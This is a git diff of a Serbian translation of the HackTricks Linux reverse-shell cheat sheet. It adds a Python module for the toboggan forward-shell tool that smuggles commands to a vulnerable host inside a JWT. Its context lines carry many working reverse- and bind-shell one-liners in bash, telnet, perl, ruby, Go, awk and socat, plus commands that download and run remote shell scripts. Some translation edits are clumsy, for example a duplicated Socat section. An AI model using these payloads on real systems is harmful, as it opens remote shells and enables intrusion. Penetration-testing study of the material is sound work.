diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index a54aa739f..8fc3c7be3 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -33,9 +33,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` -### Simbol bezbedna ljuska +### Bezbedan simbolni shell -Ne zaboravite da proverite i druge ljuske: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash. +Ne zaboravite da proverite i sa drugim shell-ovima: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash. ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -47,29 +47,61 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc #### Objasnjenje Shell-a 1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash shell. -2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**. +2. **`>&`**: Ovaj deo komande je skraćena notacija za **preusmeravanje kako standardnog izlaza** (`stdout`) **tako i standardne greške** (`stderr`) **na istu destinaciju**. 3. **`/dev/tcp//`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**. * **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne shell sesije na mašinu napadača. -4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**. +4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na istu destinaciju kao standardni izlaz (`stdout`)**. ### Kreiraj u fajlu i izvrši ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` -## Forward Shell +## Napredna ljuska -Ako naiđete na **RCE ranjivost** unutar veb aplikacije zasnovane na Linuxu, može se desiti da postane teško **dobiti reverzni shell** zbog prisustva Iptables pravila ili drugih filtera. U takvim scenarijima, razmotrite kreiranje PTY shella unutar kompromitovanog sistema korišćenjem cevi. +Kada se suočite sa ranjivošću **Udaljenog izvršenja koda (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom. -Kod možete pronaći na [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) +Preporučeni alat za tu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem. -Samo trebate izmeniti: +Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan `nix.py` može biti struktuiran na sledeći način: +```python3 +import jwt +import httpx -* URL ranjivog hosta -* Prefiks i sufiks vašeg payload-a (ako postoje) -* Način slanja payload-a (zaglavlja? podaci? dodatne informacije?) +def execute(command: str, timeout: float = None) -> str: +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) -Zatim, možete jednostavno **slati komande** ili čak **koristiti `upgrade` komandu** da biste dobili potpuni PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja). +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) + +# Check if the request was successful +response.raise_for_status() + +return response.text +``` +I onda možete pokrenuti: +```shell +toboggan -m nix.py -i +``` +Da biste direktno iskoristili interaktivnu ljusku, možete dodati `-b` za integraciju sa Burpsuite-om i ukloniti `-i` za osnovniji rce omotač. + +Druga mogućnost je korišćenje implementacije `IppSec` forward ljuske [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). + +Samo treba da izmenite: + +- URL ranjivog hosta +- Prefiks i sufiks vašeg payload-a (ako postoji) +- Način slanja payload-a (zaglavlja? podaci? dodatne informacije?) + +Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja). ## Netcat ```bash @@ -87,20 +119,20 @@ bash -c "$(curl -fsSL gsocket.io/x)" ``` ## Telnet -Telnet je jednostavan protokol za pristup udaljenom terminalu. To je često korišćeno za testiranje konekcija na portove i pristup udaljenim sistemima. Telnet je često korišćen u fazi prikupljanja informacija tokom testiranja penetracije. +Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže. ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` -## Whois +## Ko je **Napadač** ```bash while true; do nc -l ; done ``` -Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN) +Da biste poslali komandu, zapišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN) **Žrtva** ```bash @@ -120,6 +152,8 @@ perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getpro perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby + +Ruby je dinamički programski jezik visokog nivoa koji se često koristi za razvoj web aplikacija. On omogućava brzo i jednostavno pisanje koda, što ga čini popularnim izborom među programerima. ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' @@ -148,6 +182,8 @@ victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ``` ## Golang + +Go je programski jezik koji je razvijen u Google-u. On je dizajniran tako da bude jednostavan za korišćenje, efikasan i pouzdan. Go je često korišćen za razvoj serverskih aplikacija, alata za automatizaciju i softvera za mrežno programiranje. ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` @@ -221,6 +257,12 @@ openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_cli [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) +### Bind shell + +## **Socat** + +[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) + ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane @@ -232,6 +274,8 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk + +Awk je moćan alat za obradu teksta koji se često koristi u shell skriptama. Može se koristiti za pretraživanje i obradu teksta, kao i za izvlačenje i prikazivanje određenih informacija iz datoteka. Awk koristi posebnu sintaksu za definisanje akcija koje treba izvršiti nad podacima, što ga čini veoma fleksibilnim alatom za analizu teksta. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` @@ -241,7 +285,7 @@ awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; ```bash while true; do nc -l 79; done ``` -Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN) +Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN) **Žrtva** ```bash @@ -278,7 +322,7 @@ Ovo će pokušati da se poveže sa vašim sistemom na portu 6001: ```bash xterm -display 10.0.0.1:1 ``` -Za hvatanje reverznog šella možete koristiti (koji će osluškivati na portu 6001): +Da biste uhvatili obrnutu ljusku, možete koristiti (koja će slušati na portu 6001): ```bash # Authorize host xhost +targetip @@ -311,6 +355,6 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.